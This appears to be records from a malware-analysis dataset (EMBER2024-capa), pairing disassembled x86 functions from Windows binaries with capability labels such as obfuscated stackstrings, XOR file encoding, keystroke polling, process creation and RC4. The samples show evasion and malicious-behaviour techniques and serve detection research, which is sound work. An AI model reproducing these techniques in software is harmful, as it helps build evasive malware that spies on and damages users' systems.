joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002271
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10043014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x16], 0x6e696d72
xor ebx, ebx
mov word [ebp - 0xa], 0x7373
push eax
mov esi, ecx
mov word [ebp - 0x10], 0x5065
mov word [ebp - 0xd], 0x636f
mov byte [ebp - 8], bl
mov byte [ebp - 0xe], 0x72
mov word [ebp - 0x12], 0x7461
mov word [ebp - 0x18], 0x6554
mov byte [ebp - 0xb], 0x65
call fcn.10002626
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100022d1
push ebx
push esi
call eax
mov ebx, eax
mov ecx, dword [ebp - 4]
mov eax, ebx
pop esi
xor ecx, ebp
pop ebx
call fcn.10006830
mov esp, ebp
pop ebp
ret

Function at 0x100022e3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10043014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
call fcn.100025e4
mov esi, eax
test esi, esi
je 0x10002345
lea eax, [ebp - 0x18]
mov dword [ebp - 0xe], 0x6e696d
push eax
push esi
mov word [ebp - 0x11], 0x416e
mov word [ebp - 0x14], 0x7265
mov byte [ebp - 0xf], 0x64
mov word [ebp - 0x17], 0x5573
mov byte [ebp - 0x18], 0x49
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x12], 0x41
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000233e
call eax
mov ebx, eax
mov ecx, esi
call fcn.10001e5e
mov ecx, dword [ebp - 4]
mov eax, ebx
pop esi
xor ecx, ebp
pop ebx
call fcn.10006830
mov esp, ebp
pop ebp
ret

Function at 0x100023c1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10043014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
xor ebx, ebx
mov dword [ebp - 0x14], 0x6e65704f
mov dword [ebp - 0xe], 0x7365636f
mov word [ebp - 0xa], 0x73
mov word [ebp - 0x10], 0x7250
call fcn.10002626
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10002411
push esi
push ebx
push 0x401
call eax
mov ebx, eax
mov ecx, dword [ebp - 4]
mov eax, ebx
pop esi
xor ecx, ebp
pop ebx
call fcn.10006830
mov esp, ebp
pop ebp
ret

Function at 0x10002423
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10043014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x14]
mov word [ebp - 0xe], 0x5365
push eax
mov edi, ecx
mov word [ebp - 0xb], 0x657a
or esi, 0xffffffff
mov dword [ebp - 0x14], 0x46746547
mov word [ebp - 0x10], 0x6c69
mov byte [ebp - 9], 0
mov byte [ebp - 0xc], 0x69
call fcn.10002626
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10002476
push 0
push edi
call eax
mov esi, eax
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.10006830
mov esp, ebp
pop ebp
ret
Function at 0x1000250a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10043014]
xor eax, ebp
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x13], 0x70617664
mov word [ebp - 0xc], 0x642e
mov word [ebp - 9], 0x6c
mov word [ebp - 0xf], 0x3369
mov byte [ebp - 0x14], 0x41
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 0xd], 0x32
call fcn.10001f24
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10006830
mov esp, ebp
pop ebp
ret

Function at 0x10002555
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10043014]
xor eax, ebp
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x14]
mov word [ebp - 0x11], 0x6177
mov word [ebp - 0xc], 0x6c64
mov word [ebp - 0x14], 0x6853
mov word [ebp - 0xf], 0x6970
mov word [ebp - 0xa], 0x6c
mov byte [ebp - 0x12], 0x6c
mov byte [ebp - 0xd], 0x2e
call fcn.10001f24
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10006830
mov esp, ebp
pop ebp
ret

Function at 0x100025e4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10043014]
xor eax, ebp
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x13], 0x6c6c6568
mov dword [ebp - 0xe], 0x6c642e32
mov word [ebp - 0xa], 0x6c
mov byte [ebp - 0xf], 0x33
mov byte [ebp - 0x14], 0x53
call fcn.10001f24
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10006830
mov esp, ebp
pop ebp
ret

Function at 0x10002626
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10043014]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0xe], 0x642e3233
push eax
mov word [ebp - 0xa], 0x6c6c
mov byte [ebp - 8], 0
mov word [ebp - 0x13], 0x7265
mov word [ebp - 0x10], 0x6c65
mov byte [ebp - 0x14], 0x4b
mov byte [ebp - 0x11], 0x6e
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10006830
mov esp, ebp
pop ebp
ret

Function at 0x10002673
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10043014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
mov word [ebp - 0x12], 0x3373
push eax
mov edi, edx
mov word [ebp - 0x15], 0x6563
mov esi, ecx
mov dword [ebp - 0xe], 0x747865
xor ebx, ebx
mov word [ebp - 0x10], 0x4e32
mov byte [ebp - 0x13], 0x73
mov word [ebp - 0x18], 0x7250
mov byte [ebp - 0x16], 0x6f
call fcn.10002626
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100026cd
push edi
push esi
call eax
mov ebx, eax
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10006830
mov esp, ebp
pop ebp
ret
Function at 0x100026e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10043014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x14]
mov word [ebp - 0x11], 0x6573
push eax
mov esi, ecx
mov dword [ebp - 0xe], 0x6c646e61
xor ebx, ebx
mov word [ebp - 0xa], 0x65
mov word [ebp - 0x14], 0x6c43
mov byte [ebp - 0xf], 0x48
mov byte [ebp - 0x12], 0x6f
call fcn.10002626
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10002730
push esi
call eax
mov ebx, eax
mov ecx, dword [ebp - 4]
mov eax, ebx
pop esi
xor ecx, ebp
pop ebx
call fcn.10006830
mov esp, ebp
pop ebp
ret

Function at 0x10002742
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10043014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x20]
mov word [ebp - 0x1c], 0x6574
push eax
or esi, 0xffffffff
mov dword [ebp - 0xb], 0x746f68
mov dword [ebp - 0x19], 0x686c6f6f
mov dword [ebp - 0x20], 0x61657243
mov word [ebp - 0x15], 0x6c65
mov dword [ebp - 0xf], 0x7370616e
mov byte [ebp - 0x1a], 0x54
mov word [ebp - 0x12], 0x3233
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 0x13], 0x70
call fcn.10002626
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100027ac
push 0
push 2
call eax
mov esi, eax
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10006830
mov esp, ebp
pop ebp
ret

Function at 0x100027bd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10043014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x17], 0x65636f72
xor ebx, ebx
mov dword [ebp - 0xe], 0x74737269
push eax
mov edi, edx
mov dword [ebp - 0x13], 0x32337373
mov esi, ecx
mov byte [ebp - 0x18], 0x50
mov byte [ebp - 0xa], bl
mov byte [ebp - 0xf], 0x46
call fcn.10002626
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10002810
push edi
push esi
call eax
mov ebx, eax
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10006830
mov esp, ebp
pop ebp
ret
Function at 0x10002823
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x97c
mov eax, dword [0x10043014]
xor eax, esp
mov dword [esp + 0x978], eax
mov eax, dword [ebp + 0x14]
push ebx
push esi
push edi
mov dword [0x100461f8], eax
mov esi, 0x400
mov eax, dword [ebp + 0xc]
xor ebx, ebx
push esi
mov dword [0x10046200], eax
lea eax, [esp + 0x184]
push ebx
push eax
call fcn.100093f0
add esp, 0xc
lea ecx, [esp + 0x180]
call fcn.10003829
push esi
lea eax, [esp + 0x584]
push ebx
push eax
call fcn.100093f0
add esp, 0xc
lea ecx, [esp + 0x580]
call fcn.10003829
lea eax, [esp + 0x180]
push eax
lea ecx, [esp + 0x18]
call fcn.10004838
sub esp, 0x18
lea eax, [esp + 0x2c]
mov ecx, esp
push eax
call fcn.10004877
push ebx
push ebx
call fcn.10002a16
mov edi, eax
mov word [esp + 0x79], 0x736e
lea eax, [esp + 0x4c]
mov dword [esp + 0x5d], 0x69575c74
push eax
mov ebx, 0x104
mov word [esp + 0x73], 0x7265
lea eax, [esp + 0x9c]
mov dword [esp + 0x65], 0x776f646e
push ebx
push eax
mov esi, edx
mov dword [esp + 0x72], 0x7275435c
mov dword [esp + 0x61], 0x7263694d
mov dword [esp + 0x5a], 0x61777466
mov dword [esp + 0x76], 0x746e6572
mov word [esp + 0x88], 0x6c61
mov dword [esp + 0x80], 0x6e555c6e
mov word [esp + 0x7e], 0x6f69
mov byte [esp + 0x87], 0x74
mov word [esp + 0x5f], 0x5c65
mov word [esp + 0x58], 0x6f53
mov byte [esp + 0x7d], 0x73
mov dword [esp + 0x65], 0x666f736f
mov byte [esp + 0x71], 0x73
mov byte [esp + 0x5e], 0x72
mov word [esp + 0x8b], 0x5c
mov byte [esp + 0x84], 0x69
mov byte [esp + 0x7a], 0x56
mov byte [esp + 0x8a], 0x6c
mov word [esp + 0x94], 0x616d
mov dword [esp + 0x9a], 0x657a69
mov word [esp + 0x91], 0x7473
mov dword [esp + 0x96], 0x53646574
mov byte [esp + 0x90], 0x45
mov byte [esp + 0x93], 0x69
call fcn.10019dd1
add esp, 0x2c
lea eax, [esp + 0x580]
push eax
lea eax, [esp + 0x7c]
push ebx
push eax
call fcn.10019e94
add esp, 0xc
lea eax, [esp + 0x64]
shrd edi, esi, 0xa
lea edx, [esp + 0x78]
shr esi, 0xa
push edi
push ecx
push eax
call fcn.10002bec
add esp, 0xc
lea ecx, [esp + 0x14]
push 0
push 1
call fcn.10004907
mov ecx, dword [esp + 0x984]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10006830
mov esp, ebp
pop ebp
ret
Function at 0x100035a8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x834
mov eax, dword [0x10043014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push esi
mov dword [0x100461f8], eax
mov esi, 0x400
mov eax, dword [ebp + 0xc]
push esi
mov dword [0x10046200], eax
lea eax, [ebp - 0x830]
push 0
push eax
call fcn.100093f0
lea ecx, [ebp - 0x830]
call fcn.10003829
push esi
lea eax, [ebp - 0x430]
push 0
push eax
call fcn.100093f0
lea ecx, [ebp - 0x430]
call fcn.10003829
add esp, 0x14
mov word [ebp - 0x2f], 0x7469
lea eax, [ebp - 0x430]
mov word [ebp - 0x2c], 0x7669
mov ecx, esp
mov dword [ebp - 0x22], 0x67617a65
mov word [ebp - 0x1d], 0x6271
push eax
mov dword [ebp - 0x10], 0x6c717261
mov byte [ebp - 0x30], 0x79
mov dword [ebp - 0x29], 0x79787577
mov dword [ebp - 0x15], 0x71616975
mov word [ebp - 0x25], 0x6a6f
mov dword [ebp - 0xb], 0x656265
mov word [ebp - 0x1a], 0x7167
mov byte [ebp - 0x2d], 0x77
mov byte [ebp - 0x1e], 0x76
mov byte [ebp - 0xc], 0x73
mov byte [ebp - 0x23], 0x69
mov word [ebp - 0x17], 0x6474
mov byte [ebp - 0x1b], 0x7a
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x18], 0x6f
mov byte [ebp - 0x2a], 0x66
call fcn.100040c1
push ecx
lea eax, [ebp - 0x830]
mov ecx, esp
push eax
call fcn.100040c1
lea ecx, [ebp - 0x30]
call fcn.100036b4
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10006830
mov esp, ebp
pop ebp
ret

Function at 0x100036b4
Capabilities:
Encode data using xor

Disassembly:
push 0x18
mov eax, 0x10037b66
call fcn.100338a5
mov dword [ebp - 0x14], ecx
push ecx
push 0
xor ebx, ebx
mov edx, 0x80000000
push 3
push ecx
inc ebx
mov dword [ebp - 4], ebx
mov ecx, dword [ebp + 8]
push 0
call fcn.10002488
mov edi, eax
add esp, 0x14
cmp edi, 0xffffffff
je 0x100037b8
and dword [ebp - 0x18], 0
mov ecx, edi
call fcn.10002423
mov esi, eax
test esi, esi
je 0x100037b8
push esi
call fcn.100071e6
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x24], eax
push ecx
push esi
mov edx, eax
mov ecx, edi
call fcn.10002357
mov ecx, edi
call fcn.100026e0
push esi
call fcn.100071e6
xor edx, edx
add esp, 0x10
mov dword [ebp - 0x20], edx
mov edi, eax
test esi, esi
je 0x10003763
mov eax, dword [ebp - 0x24]
sub eax, edi
mov ebx, eax
lea ecx, [edx + edi]
mov dword [ebp - 0x1c], 0x28
mov eax, edx
cdq
idiv dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov al, byte [edx + eax]
xor al, byte [ebx + ecx]
mov edx, dword [ebp - 0x20]
inc edx
mov byte [ecx], al
mov dword [ebp - 0x20], edx
cmp edx, esi
jb 0x1000373a
xor ebx, ebx
inc ebx
push ecx
push 0
push 2
push ecx
mov ecx, dword [ebp + 0xc]
mov edx, 0x40000000
push 0
call fcn.10002488
add esp, 0x14
mov dword [ebp - 0x1c], eax
cmp eax, 0xffffffff
je 0x100037b1
and dword [ebp - 0x14], 0
mov edx, edi
push ecx
lea ecx, [ebp - 0x14]
push ecx
push esi
mov ecx, eax
call fcn.1000213c
mov ecx, dword [ebp - 0x1c]
call fcn.100026e0
push dword [ebp - 0x24]
call fcn.100071ae
push edi
call fcn.100071ae
add esp, 0x14
jmp 0x100037ba
push edi
call fcn.100071ae
pop ecx
xor bl, bl
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.10003e03
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.10003e03
mov al, bl
call fcn.1003384f
ret
Function at 0x10003a13
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10003a6e
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10003a5f
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x10003a5b
cmp esi, ecx
jae 0x10003a5f
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x10003a49
cmp esi, ecx
jb 0x10003a63
xor eax, eax
jmp 0x10003a6d
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x1000489d
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
xor edx, edx
push esi
mov dword [0x100437b4], ecx
inc edx
mov esi, 0x270
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, edx
mov dword [edx*4 + 0x100437b4], ecx
inc edx
cmp edx, esi
jl 0x100048b2
mov dword [0x100437b0], esi
pop esi
pop ebp
ret 8

Function at 0x10005147
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
lea edx, [ecx + 8]
mov esi, 0x270
mov ecx, dword [edx - 4]
xor ecx, dword [edx]
lea edx, [edx + 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub esi, 1
jne 0x10005150
pop esi
ret

Function at 0x10005188
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push esi
mov esi, ecx
mov ebx, 0xe3
push edi
lea edi, [esi + 0x9c4]
mov ecx, dword [edi + 4]
xor ecx, dword [edi]
and ecx, 0x7fffffff
xor ecx, dword [edi]
lea edi, [edi + 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub ebx, 1
jne 0x10005198
lea edi, [esi + 0xd50]
mov ebx, 0x18c
mov ecx, dword [edi + 4]
xor ecx, dword [edi]
and ecx, 0x7fffffff
xor ecx, dword [edi]
lea edi, [edi + 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd50]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub ebx, 1
jne 0x100051d8
mov ecx, dword [esi + 0x1380]
xor ecx, dword [esi + 4]
and ecx, 0x7fffffff
xor ecx, dword [esi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
and dword [esi], ebx
pop esi
pop ebx
ret

Function at 0x10024823
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100240a5

Function at 0x1002482e
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100242e0
Function at 0x10031ce0
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10031b1e
Function at 0x41caa0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x48344b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004774b4
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x41cb22
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00474e2a
mov eax, dword [eax]
push 0x5681f0
push eax
call fcn.00467144
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0047773f
test bl, bl
je 0x41cb22
push 0x5681f0
lea ecx, [esp + 0xc]
call fcn.00477acf
push 0x56bd78
lea ecx, [esp + 0xc]
call fcn.00477acf
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41cb5e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0047773f
jmp 0x41cc29
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x41cbe2
lea edx, [esp + 0x7c]
push 0x56bd74
push edx
call fcn.00467144
add esp, 8
test eax, eax
je 0x41cbe2
lea eax, [esp + 0x7c]
push 0x56bd70
push eax
call fcn.00467144
add esp, 8
test eax, eax
je 0x41cbe2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x41cb72
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0047773f
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x41d440
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x41d4a2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x41d4b0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4834cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x572864]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x41d5e8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x41d516
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0047773f
xor eax, eax
jmp 0x41d65f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0047787c
push esi
lea ecx, [esp + 0xc]
call fcn.00477b0b
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41d63d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.0041d440
test eax, eax
jne 0x41d63d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.0041d440
test eax, eax
jne 0x41d63d
lea eax, [esp + 0x14]
push 0x56bd8c
push eax
call fcn.00468250
mov esi, eax
add esp, 8
test esi, esi
jne 0x41d61c
lea ecx, [esp + 0x14]
push 0x56bd88
push ecx
call fcn.004681d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41d61c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41d61f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0047782c
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41d52e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0047773f
xor eax, eax
jmp 0x41d65f
mov byte [esi], 0
push 0x56bd84
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0047773f
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4314a0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x43150e
cmp si, 0x69
ja 0x43150e
add esi, 0xffd0
cmp si, 0x11
je 0x4314de
push 0x11
call edi
test ax, ax
jge 0x4314de
or esi, 0x2000
cmp si, 0x10
je 0x4314f3
push 0x10
call edi
test ax, ax
jge 0x4314f3
or esi, 0x4000
cmp si, 0x12
je 0x431508
push 0x12
call edi
test ax, ax
jge 0x431508
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x43151b
mov esi, 0xbd
jmp 0x4314cf
cmp si, 0x6e
jne 0x431528
mov esi, 0xbe
jmp 0x4314cf
cmp si, 0x6f
jne 0x4314c9
mov esi, 0xbf
jmp 0x4314cf

Function at 0x432d60
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x583010]
xor edx, edx
cmp eax, edx
jne 0x432d86
xor eax, eax
mov byte [eax + 0x582f10], al
inc eax
cmp eax, 0x100
jl 0x432d6e
mov dword [0x583010], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x582f10
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x432e17
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x432dea
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x432db8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x432e90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x432ee3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x432eca
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret